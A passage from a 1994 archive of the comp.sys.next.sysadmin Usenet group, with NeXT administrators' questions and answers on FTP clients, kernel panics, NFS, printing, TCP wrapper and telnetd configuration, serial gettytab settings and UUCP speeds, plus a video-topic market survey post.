Message-ID: <jpmeiaCoHvEK.Atr@netcom.com>
Summary: I'm having problems with gatorFTP;
Keywords: gatorFTP
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 19 Apr 1994 06:59:07 GMT
Once connected to an ftp site using gatorFTP1_4, it echoes everything I type
twice, with no result (e.g., if I type ls it echoes ls ls but does not list
any files. Often the ls ls in in bold in the window). Also, if I the
the CR (return key) I get an echo of ^C and two blank lines.
I've tried changing keyboard types from USA to NeXT USA with no change.
My system is turboColor slab with one of the ADB keyboards that came out
just before the hardware line shut down.
Thanks, jpmeia@netcom.com
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Panic -- What's Causing This?
Date: Tue, 19 Apr 1994 05:22:36 GMT
Message-ID: <CoHqxp.7nD@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
One of our machines is repeatedly (once or twice a day) going down
like this (from /usr/adm/messages):
Apr 18 16:10:11 beauty mach: panic: (Cpu 0) fp not one
Apr 18 16:11:10 beauty mach: Killing all processes
Apr 18 16:11:10 beauty mach: continuing
Apr 18 16:11:10 beauty mach: unmounting /Net ... done
Apr 18 16:11:10 beauty mach: unmounting Gigi ... done
Apr 18 16:11:10 beauty mach: unmounting Maurice ... done
Apr 18 16:11:10 beauty mach: unmounting swapfile.front ... done
Apr 18 16:11:10 beauty mach: rebooting Mach...
It's a black slab running 3.2.
Does anyone know what "fp not one" means?
Can anyone think of anything else to try, besides what follows?
We moved the disk to a different machine and changed the ethernet
addresses in Netinfo. That didn't fix the problem, "proving" that
the problem was the disk, the monitor, or the mouse (the only
things we hadn't changed).
We changed all of them, too. No luck, it still crashed irregularly.
We changed the ethernet cable (10baseT) and plugged the other end
into a different repeater port. (It's a single stretch because
they're close to each other.) No luck.
We changed UPSs, in case the old one were modulating the power weirdly.
No luck.
/sdmach is intact. We did a re-upgrade, to make sure none of
Next's stuff had gotten trashed. No luck.
I'm stuck and so is Ray. We can't think of anything else to try.
Can you?
Regards,
- Irving
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From: captain@arsenal.com
Newsgroups: comp.sys.next.sysadmin
Subject: RN & IRC Clients
Date: 19 Apr 1994 09:37:57 GMT
Organization: Division of Information Technology
Message-ID: <2p08pl$8pa@news.doit.wisc.edu>
Howdy,
Would anyone have compiled INTEL binary Clients for News (RN) and IRC?
Unfortunatly, I do not have space to install the Developer tools to
compile them myself. If anyone could graciously NeXTMail them to me or
perhaps point me to a FTP site where they could be downloaded, I would
be most appreciative.
Thanks!
- C
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From: paul@psmpaul.demon.co.uk (Paul Meier)
Subject: A Next WWW Server?
Message-ID: <CoIFuB.7K@demon.co.uk>
Sender: news@demon.co.uk (Usenet Administration)
Organization: Demon Internet
Date: Tue, 19 Apr 1994 14:20:34 GMT
What do I have to do to set up a WWW server (not client) on Next?
Paul Meier
paul@psmpaul.demon.co.uk
Newsgroups: comp.sys.next.sysadmin
From: newman@string.harvard.edu (Michael Newman)
Subject: NFSmanager problem: "netinfo sleeping"
Message-ID: <CoIIHp.EMu@das.harvard.edu>
Sender: usenet@das.harvard.edu
Organization: Division of Applied Sciences, Harvard University
Date: Tue, 19 Apr 1994 15:17:48 GMT
I have been having a problem using NFSManager. We have a system of four
slabs, which are supposed to be set up pretty much identically, accessing
a Cube as a file server. When I run NFSManager on the Cube, I can
successfully view the imported file systems on three of the four clients
using the "Import To..." menu item. With the fourth however, when I click
the OK button on the "Select NetInfo Domain" panel, I get a spinning disk
which never goes away until I kill NFSManager. At the same time, the
following message appears in the Workspace console,
"Apr 19 11:03:43 string NFSManager[17103]: netinfo sleeping: RPC: Unable
to receive; errno = Connection reset by peer"
The problem has been around for a while, and does not seem to go away when
I reboot either/both of the machines. Suggestions?
This should be an easy problem for all you experts to solve.
Mike Newman .......................................... NeXTmail OK
From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid)
Newsgroups: comp.sys.next.sysadmin
Subject: network printing to HP LaserJet 4si, anybody done this?
Date: 19 Apr 1994 17:09:32 GMT
Organization: The Ohio State University
Message-ID: <2p138c$m1h@charm.magnus.acs.ohio-state.edu>
We have an HP LaserJet 4si MX which is hooked up to our network as a
printserver using it's built-in software (JetDirect, etc).
We woulkd like to be able to print to it from a NeXT too, but can't seem
to get it to work. Print requests just stay in the queue.
Anybody who has done this before?
Thanks
-------
Steen Hansen (Hviid)
Computer Specialist, Ohio State University
email: hansen+@osu.edu (NeXTmail accepted)
From: penneys1@gdl.msu.edu (Scott Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 19 Apr 1994 17:05:43 GMT
Organization: Michigan State University
Message-ID: <2p1317$13m8@msuinfo.cl.msu.edu>
References: <2odv8v$b76@netnews.upenn.edu> <2oflhd$555@nic-nac.CSU.net> <2opa3v$3mr@senator-bedfellow.MIT.EDU> <2oqjag$p3f@crl.crl.com>
Donald R. McGregor (mcgredo@crl.com) wrote:
> In article <2opa3v$3mr@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes:
> :>I read in the MIT newspaper that the guy who wrote this article had his
> :>account taken away by Internet Direct. I guess the guy received over 30,000
> :>responses to his ad, most of them threats to his life! The person who
> :>posted the article is a lawyer, and he is actually suing Internet Direct
> :>for $250,000 because they took his account away and that is costing him
> :>$250,000 in lost business that would have been generated from the ad.
> The newspaper account I saw quoted him as saying it was worth it;
> for $30 he got access to make a drive-by posting to every
> newsgroup in existence and inflicted his advertising on millions.
> Things like this make me think USENET, inc, needs to keep
> Chuck Norris on retainer.
> It's also a little weird to see newspaper accounts of net-doings.
> What next, supermarket checkout stand summaries of high-volume
> newsgroups?
> --
> Don McGregor | "I told him not to join that stupid club."
> mcgredo@crl.com |
If you are interested, the newsgroup alt.make.money.fast seems to be
becoming the home for all this information.
Scott
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From: cbarton@DaBoyz.dgcp.doc.ca (Casey Barton)
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Message-ID: <1994Apr19.170944.1687@clark.dgim.doc.ca>
Sender: news@clark.dgim.doc.ca (#Usenet News)
Organization: Communications Canada
References: <2osffr$b5o@senator-bedfellow.MIT.EDU>
Date: Tue, 19 Apr 94 17:09:44 GMT
Robert Lutwak writes
> I've tried all possible combinations of ap:np:p8,
> etc. in gettytab, but whatever I try, I get gibberish (or worse)
> on my vt100 terminal (plugged right into the port) unless I set
> the terminal to 7-e-1.
>
> Has anybody else succeeded or is this a bug?
I've been trying to do exactly this for the last 3 days. I thought it
was just me. (This is my first try at UNIX admin...) I just called NeXT,
and the techdroid told me the there were no documented bugs with the
serial communications.
I've tried several different parity settings, none of which will get
NeXT to talk to the modem in anything other than 7E1. (7O1 doesn't work
either.) I'm starting to think this is a bug -- but I'd think this would
have been a very visible one -- 8N1 dialin seems to be the most common,
nowadays.
So, does *anyone* out there have a serial device successfully running
at 8N1 on an NSFIP 3.2 system? If not, I'll report back to NeXT myself...
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting a mac floppy disk
Date: 19 Apr 1994 19:39:17 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2p1c15$bl1@news.acns.nwu.edu>
References: <2ove1k$dpn@falcon.ccs.uwo.ca>
Keywords: mac
In article <2ove1k$dpn@falcon.ccs.uwo.ca>, <Net> wrote:
>Hi, I'm trying to read a mac disk on my NeXT (black) 3.0
>and having no luck. I seemed to remember that this was
>possible any suggestions?
>
>thanx peter
If its an olde 720K Mac floppy, you'd need to find a Mac. They
used to use a special variable speed drive in MAC's and current
SCSI or PC floppies cannot deal with with this.
--
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Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
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From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: Re: A Next WWW Server?
Message-ID: <CoILFr.56p@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <CoIFuB.7K@demon.co.uk>
Date: Tue, 19 Apr 1994 16:21:27 GMT
In article <CoIFuB.7K@demon.co.uk>,
Paul Meier <paul@psmpaul.demon.co.uk> wrote:
>What do I have to do to set up a WWW server (not client) on Next?
Get the httpd source (I use the NCSA daemon from
ftp://ftp.ncsa.uiuc.edu/Web/ncsa_httpd/current/httpd_source.tar.Z).
Then follow the compilation and installation instructions. It works
right out of the box.
Dave
--
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NeXTmail ok
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem: TCP wrapper and telnetd
Message-ID: <1994Apr19.180759.1766@sgcl1.unisg.ch>
Date: 19 Apr 94 18:07:59 MET
Organization: The VooDoo Club (tm)
I'm experiencing the following problem with the tcp wrapper that I just set up
on an NSI 3.2 box.
The line for telnet in inetd.conf looks like this:
telnet stream tcp nowait root /usr/etc/tcpd /usr/etc/telnetd telnetd
The result I get when telnetting to the machine noe is the following:
$ telnet limerick
Trying... Connected to LIMERICK.UNISG.CH.
Usage: telnetd [-debug] [-h] [-l] [port]
Connection closed by Foreign Host
The connection is properly logged in the appropriate log file.
All other services ftp, finger etc. seem to be working correctly.
Any suggestions?
Thanks,
Dave
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dlincke@sgcl1.unisg.ch
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Problem: TCP wrapper and telnetd
Message-ID: <1994Apr19.190915.1767@sgcl1.unisg.ch>
Date: 19 Apr 94 19:09:15 MET
References: <1994Apr19.180759.1766@sgcl1.unisg.ch>
Organization: The VooDoo Club (tm)
In article <1994Apr19.180759.1766@sgcl1.unisg.ch>, dlincke@sgcl1.unisg.ch (David-Michael Lincke) writes:
>
> I'm experiencing the following problem with the tcp wrapper that I just set up
> on an NSI 3.2 box.
> The line for telnet in inetd.conf looks like this:
>
> telnet stream tcp nowait root /usr/etc/tcpd /usr/etc/telnetd telnetd
>
> The result I get when telnetting to the machine noe is the following:
> $ telnet limerick
> Trying... Connected to LIMERICK.UNISG.CH.
>
> Usage: telnetd [-debug] [-h] [-l] [port]
>
>
> Connection closed by Foreign Host
>
> The connection is properly logged in the appropriate log file.
> All other services ftp, finger etc. seem to be working correctly.
>
> Any suggestions?
>
Deleting the last argument (telnetd) in the telnetd entry in inetd.conf did the
job. It seems like inetd passed it over to telnetd as argv[1] instead of as
argv[0], probably because there's one column more now due to tcpd.
The other daemons (ftpd, rlogind, fingerd etc.) though seem to work ok without
removing the last argument. Seems like they don't care at all about the
environment passed over to them.
dave
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: network printing to HP LaserJet 4si, anybody done this?
Message-ID: <CoIsAq.xG@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <2p138c$m1h@charm.magnus.acs.ohio-state.edu>
Date: Tue, 19 Apr 1994 18:49:38 GMT
In article <2p138c$m1h@charm.magnus.acs.ohio-state.edu>
shviid@magnus.acs.ohio-state.edu (Steen H Hviid) writes:
> We have an HP LaserJet 4si MX which is hooked up to our network as a
> printserver using it's built-in software (JetDirect, etc).
>
> We woulkd like to be able to print to it from a NeXT too, but can't seem
> to get it to work. Print requests just stay in the queue.
>
> Anybody who has done this before?
>
Yes, there is a product called TCPrd, by one of the European NeXT software
houses, the demo product is on sonata.cc.purdue.edu and cs.orst.edu and works
just fine, we have it running at a few sites. Costs (from memory) $60.
Mark
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From: kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de (Stephan Kruppa)
Newsgroups: comp.sys.next.sysadmin
Subject: using cp
Date: 19 Apr 1994 20:51:42 GMT
Organization: InterNetNews at ZDV Uni-Tuebingen
Message-ID: <2p1g8u$dak@infoserv.zdv.uni-tuebingen.de>
Keywords: cp
I have to copy a whole directory with several subdirectories to another
disk. I tried "cp" with the -pr switches, because within the directory
structure are different file owners. The result was that everything is
preserved but the owner and the group. The only chance I see was using
tar. Is this a bug within cp or an undocumented switch or any other trick?
--
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Nauklerstra e 47
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From: Hal.Varian@umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A Next WWW Server?
Date: 19 Apr 1994 18:25:34 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Distribution: world
Message-ID: <2p17mu$bel@controversy.math.lsa.umich.edu>
References: <CoIFuB.7K@demon.co.uk>
In article <CoIFuB.7K@demon.co.uk> paul@psmpaul.demon.co.uk (Paul Meier)
writes:
> What do I have to do to set up a WWW server (not client) on Next?
>
> Paul Meier
>
> paul@psmpaul.demon.co.uk
Download httpd from NCSA and read the documentation at
http://hoohoo.ncsa.uiuc.edu. It compiles easily and works just fine on NeXT
black hardware. (I'm running httpd1.1; 1.2 has a few bugs, but NCSA is coming
out with a new release shortly.)
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From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <1994Apr19.070612.1199@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de
Organization: Volker Safran, Interprint, Berlin, Germany
References: <2ouf13$e4v@newsflash.mitre.org>
Date: Tue, 19 Apr 1994 07:06:12 GMT
Hi,
In article <2ouf13$e4v@newsflash.mitre.org> wherndon@smiley.mitre.org
(William Herndon) writes:
> OK, I've read the online documentation. I've coordinated
> with the ad- ministrator of the site that "feeds" my NeXTStation.
> I've tried mul- tiple configurations, and I still can't seem
> to get a uucp connection that transfers more than 700 to 800
> characters/second.
>
> Here is my situation: I've got a ZyXEL U-1496e and am
> connecting via UUCP to a feeder site for news and mail. UUCP
> connects through
> /dev/cufb at 19200 (maybe) to my modem which in turn connects
> /to my
> feeder site at 14400 (V.32bis) with V.42 error correction.
> Compres- sion is explicitely disabled. (My counterpart says
> that compression tends to slow down batched news transfers
> because they are already compressed.) CTS/RTS is enabled
> (by default, I believe) so that the modem is not swamped by
> the 19200 speed of /dev/cufb.
First, you can enable V42bis compression. It does not slow down
anything with compressed data (unlike MNP compression).
Second, add entries for 38400 DTE speed in /etc/gettytab like this
(if they aren't already defined):
h|std.38400|38400-baud:\
:sp#38400:
m|D38400|Fast-Dial-38400:\
:nx=D19200:tc=38400-baud:
This will probably speed up nothing for compressed batches, but perhaps
your Newsfeed is serving you with mail, too.
>
> Now for the question/problem: Even with all of this, why am
> I still getting data rates (as measured in the UUCP SYSLOG
> file) of less than 800 cps? I don't get it; the setup is
> behaving as if it were running at 9600. Is the stock NeXT
> UUCP package incapable of setting the device to a speed above
> 9600?
NeXT UUCP is very old and very bad. Window and package sizes are
not big enough to deal with modern highspeed modems.
>
> Well anyway here are what I believe are the relevant entries
> in my L.sys and L-devices files:
>
> L-devices -
>
> DIR cufb unused 19200 direct
>
> L.sys -
>
> <feedersite> Any DIR 19200 cufb \
> "" AT \ OK ATL2 \ /* speaker
> volume = 2 */ OK AT&K3 \ /*
> disable compression */ OK AT&N17 \
> /* V.32bis 14400...4800 */ OK ATDT5510095 \ CONNECT
> \r\c \ ogin:--ogin pandora \ ssword: <mypasswd>
>
> Anybody got an ideas? Does v.32bis imply a compression? Is
> there a way to verify the current speed of /dev/cufb while
> a UUCP connection is enabled? Any and all help is appreciated.
> Thanks much.
>
> Sincerely,
>
Two possibilities for you. The first is easy, but not really good. The
second one is what you really should go for.
1. Take the entry PAD instead of DIR in your L.sys. UUCP will complain
about this, but it works and your cps-rate will go to ~1300cps.
2. Install Taylor-UUCP (you'll find it on the net) and your problems are
solved. Your cps-rate will increase to ~1700cps plus you will find
new protocols (sending and receiving at he same time) and and and ...
Hope this will help.
CIAO Volker
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From: POLIFF@STDNTMAIL.LMU.EDU (PHILLIP CHARLES OLIFF)
Newsgroups: comp.sys.next.sysadmin
Subject: OPEN STEP
Date: Tue, 19 Apr 1994 15:59:43
Organization: LOYOLA MARYMOUNT UNIVERSITY
Message-ID: <POLIFF.27.000FFF4E@STDNTMAIL.LMU.EDU>
I am interested in obtaining open step . Could someone send me some info.
+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_
PHILLIP CHARLES OLIFF POLIFF@STDNTMAIL.LMU.EDU
LOYOLA MARYMOUNT UNIVERSITY POLIFF@LMUMAIL.LMU.EDU
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LOS ANGELES, CA 90024-5339
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From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS mount fail
Date: 19 Apr 1994 23:12:01 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2p1og1$64d@news.iastate.edu>
How do I let non-NeXT machine NFS mount my home directory?
I use NFSManager to export my home directory to be read-only, however, I
can't NFS mount this directory when I logged to that non-NeXT machine.
Please help...
Chris
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From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Message-ID: <CoJ207.5Ls@fragile.termfrost.org>
Organization: Terminal Frost, Springfield OH
References: <2osffr$b5o@senator-bedfellow.MIT.EDU> <1994Apr19.170944.1687@clark.dgim.doc.ca>
Date: Tue, 19 Apr 1994 22:19:18 GMT
cbarton@DaBoyz.dgcp.doc.ca (Casey Barton) writes:
>Robert Lutwak writes
>> I've tried all possible combinations of ap:np:p8,
>> etc. in gettytab, but whatever I try, I get gibberish (or worse)
>> on my vt100 terminal (plugged right into the port) unless I set
>> the terminal to 7-e-1.
>>
>> Has anybody else succeeded or is this a bug?
> I've been trying to do exactly this for the last 3 days. I thought it
>was just me. (This is my first try at UNIX admin...) I just called NeXT,
>and the techdroid told me the there were no documented bugs with the
>serial communications.
> I've tried several different parity settings, none of which will get
>NeXT to talk to the modem in anything other than 7E1. (7O1 doesn't work
>either.) I'm starting to think this is a bug -- but I'd think this would
>have been a very visible one -- 8N1 dialin seems to be the most common,
>nowadays.
Put :p8:zp at the front of the Default entry in gettytab, and it should
start behaving.... zp is zero parity, and p8 is 8-bit, thus N81. Seems
to work for me, anyway...
While we're on the subject of gettytab tweaking, is there any way I can
get the telnet server to close the connection at the login: prompt using
Control-D (like most Unixes)? For some reason, it's using Control-Z now.
--
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root@fragile.termfrost.org [NeXTmail OK] - Primus
kramer@wittenberg.edu (school)
kramer@mik.uky.edu (hometown)
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From: audiotst!lre@uunet.UU.NET (Louis R. Eagle)
Message-ID: <9404192027.AA29244@audiotst.ap.com>
Date: Tue, 19 Apr 94 13:27:50 -0700
Subject: nppower off cron entry
Some time ago I saw a rather simple crontab entry that checked for the print queue
to be empty before 'nppower off'. Now that I have a reason for such a thing, I can't
seem to find where I saved it. Anyone have something like this.
Thanks, Louis_Eagle@ap.com
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Subject: cancel <1994Apr19.114949.17475@umiami.ir.miami.edu>
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Date: 19 Apr 94 11:52:23 EDT
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From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: NewsGrazer
Message-ID: <1994Apr20.030523.13996@venice.sedd.trw.com>
Originator: verket@verket-home
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <CoG1FG.Ax@beach.com>
Date: Wed, 20 Apr 1994 03:05:23 GMT
In article <CoG1FG.Ax@beach.com> root@beach (Operator) writes:
> Can anyone help me figure out why I can post news from root but not from
any
> other account. I've checked all the permissions I can think of. Thanks
for any
> help you can offer. ksmith@beach.com
We need more information in order to help. Are you using nntp or are you
using inews (flat files)? If it's the latter, try running inews by hand so
you can see it's error messages.
$ inews -h
From: ksmith@beach.com
Newsgroups: alt.test
Subject: test
Distribution: local
test
^D
Paul Verket (NeXTmail ok)
Newsgroups: comp.sys.next.sysadmin
From: sngmedia@world.std.com
Subject: MARKET SURVEY
Message-ID: <CoJIFG.11F@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Wed, 20 Apr 1994 04:14:03 GMT
We are a small, dedicated group of people desperately trying to get
a video production company off the ground.
Recently, we secured enough financial backing to produce several
videos on the subject of personal computing.
Because we don't have the financial resources to perform a
traditional market analysis, we considered several alternatives and
concluded that we should consult the people of the Internet, who
are technically proficient and tend to be enthusiastic personal
computer users.
We would like you to indicate which three of the below described
videos would appeal to you most.
Please note that each video synopsis is numbered. When you are
ready to send your response, please specify the numbers
corresponding to your three video selections, and use commas to
separate the numbers.
For example, if you choose selections four, eight, and eleven, the
body of your letter would simply be:
4,8,11
and nothing more.
When you send back your response, please specify "MARKET SURVEY" in
the subject field. Then, direct your response back to
sngmedia@world.std.com.
Please realize that this is not an advertisement, or solicitation.
We simply would like to know your response. You will not be
contacted further.
Thank you in advance for your help and cooperation.
Tom and Randi Fecker
sngmedia@world.std.com.
Please select three videos that interest you most:
1. The Internet Pilot's Guide
A plain English guide to getting around on the Internet by veteran
users. How to use Internet resources to send/receive e-mail, and
to search for documents and files relating to a particular subject.
How to use LISTSERVs, GOPHER, ARCHIE, WWW and WAIS. How to use FTP
and Telnet to access remote computers for file transfers, remote
logins, etc. Also, learning how to observe Internet's
"netiquette." And how to access multimedia Mosaic bulletin boards.
2. How to Make Money at Home With Your PC I -- Successful PC-Based
Businesses
Meet five successful entrepreneurs who started their own home-based
businesses using a PC. Includes businesses that provide typing
services, mailing list management, horoscopes, bookkeeping, and
even a software developer who does not know how to program -- he
hires other people to implement his software designs. Includes
ideas for two dozen home-based businesses you can start using your
PC.
3. How to Make Money at Home With Your PC II: Portfolio Management.
Whether you manage your own portfolio for investment gains, or you
take on clients for a consulting fee, a PC can give you powerful
tools for portfolio management. Meet three successful home-based
portfolio managers who use their PCs to maximize profits. They'll
inspire you, and share some tricks of the trade that can help you
land clients and get started. We'll also show you how to determine
which software applications will meet your needs, and which online
services will satisfy your requirements.
4. How to Make Money at Home With Your PC III: Telecommuting
Learn how to use your PC to telecommute to companies across America
that are looking for specialized consultants with skills like
bookkeeping, software design and programming, editorial and script
writing, technical proofreading, graphic design, copywriting, and
more. Includes interviews with three successful telecommuters who
use their PCs, faxes, modems and phones to serve distant clients,
and information about a telecommuting referral service that could
help you find employers.
5. How to Upgrade Your Hard Drive, Step-By-Step
From choosing your new hard drive, through ordering, installing and
testing it. This plain English video shows you how to do the job
correctly, one simple step at a time. Using industry-wide
standards, we'll show you what all hard drives have in common.
Includes how to determine if your controller will support a
particular hard drive. How to remove the old drive, and install,
format and test the new drive. Includes a discussion on the
differences between the various standards.
6. How to Design Your Own PC
You don't have to be an engineer to design and build the PC of your
dreams. This plain English video shows you how to figure out the
PC design that is best for you, how to specify components, how to
make sure they'll work together, and where to buy them. You'll end
up with a top quality system that will save you money.
7. How to Build Your Own PC
Once you've designed your PC, we'll show you how to build it. The
actual process will take you only a few hours. Using an easy-to-
understand method, we'll show you how to inspect, install and test
components. Includes tips and tricks from computer production
experts. The technical skills can be easily mastered by almost
anyone, and you probably already own most of the tools you would
need.
8. How to Increase Your Computer's Memory
This plain English video shows you how to determine whether your
computer memory can be increased, and how to do the job correctly,
one step at a time. You'll learn about industry-wide standards for
memory, how to configure additional RAM and cache, how and where to
buy RAM chips, and three ways to eliminate low-quality RAM chips.
Covers all phases of the process from opening your computer, to
testing your memory. Includes discussions on how to ensure your
DOS set-up is able to access all available memory, and how to use
various memory management software applications.
9. How to Use MS-Windows 3.1
This powerful graphical user interface can help you work smarter
and faster, but the manual and the online tutorial that come with
Windows leave many questions unanswered. This plain English, step-
by-step video will show you how to install Windows on your computer
and set it up to get optimum performance.
10. How to Find a Job in the Information Age
A PC can give you an incredible advantage when you're searching for
a new job -- or even a new career. But you have to know just how
it can help you. In this video, an experienced employment
counselor will show you how to tap the power in your PC to find job
leads, create a winning resume and customized cover letters, tap
into databases and find bulletin boards that will lead you to job
openings, and use online services to research potential employers.
11. How to Install a Sound Card in Your Computer
Here's how to add incredible stereo sound to your computer with
step-by-step help. In plain English, you'll learn how to determine
if your computer can support a sound card, how and where to buy a
high-quality sound card. How to open your computer, and install
and test the sound card.
12. How to Install a CD-ROM Drive in Your Computer
Using simple tools, this plain English video shows you how to
install a CD-ROM Drive in your computer. You'll learn how to make
sure your computer can support a CD-ROM drive -- and what to do if
it can't. Covers internal vs. external drives, how and where to
buy a high quality CD-ROM drive, what you need to know about
differing industry standards, preparing the drive bay, testing and
trouble-shooting. Covers SCSI and IDE.
13. How to Fix the Most Common Computer Problems
Your computer serviceman may not want you to know this, but all you
need is the know-how you'll get from this video, simple tools, and
easily-obtainable diagnostic software -- and you can fix most
common problems you'll ever encounter with a PC.
14. What to Do When a Virus Strikes Your Computer
Viruses can come from almost anywhere: a colleague or friend's
disks, a network, a bulletin board, even commercial software. If
you ignore the first warning signs, a virus can wipe out your data
and permanently damage your computer's memory. In plain English,
this video will tell you how to scan disks for viruses, how to
check downloaded files from bulletin boards, how to set up a virus
prevention program for your home or office computer, and how and
where to buy the best anti-virus software. We'll also cover the
pros and cons of the antivirus software in DOS 6.X and Windows 3.X,
how to use antivirus software, and more.
15. How Your PC Works: Inside the Case
Here's a down-to-earth explanation of how your PC actually
processes information, and what really goes on inside the case.
You'll get a guided tour of the insides of a PC, learn about how
the various components work and how they communicate with each
other, and get a clear explanation of technical terms. A must for
anyone who wants to really understand how to program, use and
repair a PC.
16. How to Create Config.Sys, Autoexec.Bat and Batch Files
These basic files can make it much easier to use your computer --
or cause incredible headaches if they are not written properly for
your particular software and peripherals. Now you don't have to be
at the mercy of murky tech manuals, because we'll show you how to
create files that work for your system -- step-by-step, in plain
English. You'll learn how to write, modify and test Autoexec.Bat
and Config.Sys files; and how to create batch files.
17. How to Add a Modem or Faxmodem to Your Computer
Here's the easy way to add a modem or faxmodem to your computer,
with step-by-step guidance from this plain English video. You'll
learn how to determine if your computer can support a modem or
faxmodem, and what to do if it can't, how to choose and buy the
best modem or faxmodem, how to open your computer, and install the
modem or faxmodem, how to test it, how to quickly eliminate common
problems, and how to set your modem or faxmodem correctly.
18. How to Make Money at Home With Your Computer
The information age is opening up incredible new opportunities for
PC owners to make undreamed of money, using skills and knowledge
you may already have! Here's inside information on the ten most
promising telecommuting jobs and 12 small businesses you can run
right from your home, using your PC. Includes profiles of PC
owners who are actually running PC-based home businesses.
19. The Super-Highway Roadmap
This is your guide to where to go and what to see. You can make
incredible contacts and gather powerful, valuable information on
the Internet, but the problem is that most people can't begin to
imagine the potential of something that seems so abstract. This
plain English video will introduce you to the Internet, and make
these opportunities concrete. Includes interviews with 7 people
who did the impossible by gathering information and making contacts
on the Internet.
20. How to Upgrade and Repair Your PC I: Basic
This is the video your repairman doesn't want you to know about!
Since the components of most PCs are highly modular, PC repair is
easier than you think. Just pinpoint the problem component, unplug
it, remove a few screws, replace it, and presto! You're in business
again. This step-by-step video shows you how to pinpoint problems
and replace your PC's components, using ordinary household tools.
21. How to Upgrade and Repair Your PC II: Multimedia
Here's how to save big money on a PC with all the latest multimedia
peripherals. You learn how to determine if your PC can be
upgraded, how to upgrade your video card and bus, and how to add a
CD-ROM drive, sound card, video accelerator, and more. Presented
in plain English. The procedures you'll learn require ordinary
household tools -- nothing fancy!
22. Plain English Guide to DOS 6+.
The powerful sub-programs buried deep within DOS 6.0 and higher can
help you work smarter and faster, but the manual and the online
tutorial that come with DOS leave many questions unanswered. This
plain English, step-by-step video will show you how to install DOS
on your computer and set it up to get optimum performance. In
addition to DOS commands, you'll learn how to use the shell,
defragmentation, scan and antivirus programs that come with DOS.
23. Home Financial Management on a PC.
Your computer can help you create and manage a budget, keep track
of your credit card accounts, handle your tax deductions, and
reconcile your bank accounts. But that's not all! You can also
determine whether you should pay down your mortgage, finance a new
car or pay cash, buy or rent your home, and how much you'll need
for retirement. The financial information your computer can give
you might mean the difference between just getting by and a very
comfortable lifestyle -- if you ask the right questions and use
your PC to develop a financial strategy.
24. The Online Bulletin Board Guide
Bulletin boards can be the on-ramps to the Information Super
Highway -- if you know how to access and use them. This step-by-
step guide shows you how to find bulletin boards, set-up your
modem, log on, find out what they have to offer, find bulletin
board users who share your interests, search for information, and
upload and download files.
Thank you.
Newsgroups: comp.sys.next.sysadmin
From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Message-ID: <1994Apr19.214726.4769@balou.rhein.de>
Sender: tommi@balou.rhein.de
Organization: private NeXT
References: <2osffr$b5o@senator-bedfellow.MIT.EDU>
Date: Tue, 19 Apr 94 21:47:26 GMT
Robert Lutwak writes
>> Hi.
>>
>> Under NS3.2, I've been unable to get any serial ports
>> (black or white) to allow a serial login with 8-N-1
>> (8 data bits, No parity, 1 stop bit).
>>
>> I've tried all possible combinations of ap:np:p8,
>> etc. in gettytab, but whatever I try, I get gibberish (or worse)
>> on my vt100 terminal (plugged right into the port) unless I set
>> the terminal to 7-e-1.
>>
>> Has anybody else succeeded or is this a bug?
>>
>> Thanks for any help you can provide.
>>
>> Robert
>>
>>
>> --
>> Robert Lutwak robert@amo.mit.edu
>> MIT Atomic Resonance and Spectroscopy Laboratory
>> --- Everything I say via this computer belongs to MIT. ---
>> ---> NeXTmail always welcome <---
... try to use zp: in gettytab, this was the solution on my system.
Greetings, tommi
------
Thomas Pfleiderer
tommi@balou.rhein.de
voice: +49 2225 701332
NeXT-Mail appreciated.
From: plenson@hi_presure_lab.gp.uwo.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting a mac floppy disk ( Thanks HD works)
Date: 20 Apr 1994 05:40:02 GMT
Organization: The University of Western Ontario, London, Ont. Canada
Message-ID: <2p2f7i$kdk@falcon.ccs.uwo.ca>
References: <2p2d34$bkh@vixen.cso.uiuc.edu>
In article <2p2d34$bkh@vixen.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David
Lemson) writes:
> jweiss@casbah.acns.nwu.edu (Jerry Weiss) writes:
>
> >In article <2ove1k$dpn@falcon.ccs.uwo.ca>, <Net> wrote:
> >>Hi, I'm trying to read a mac disk on my NeXT (black) 3.0
> >>and having no luck. I seemed to remember that this was
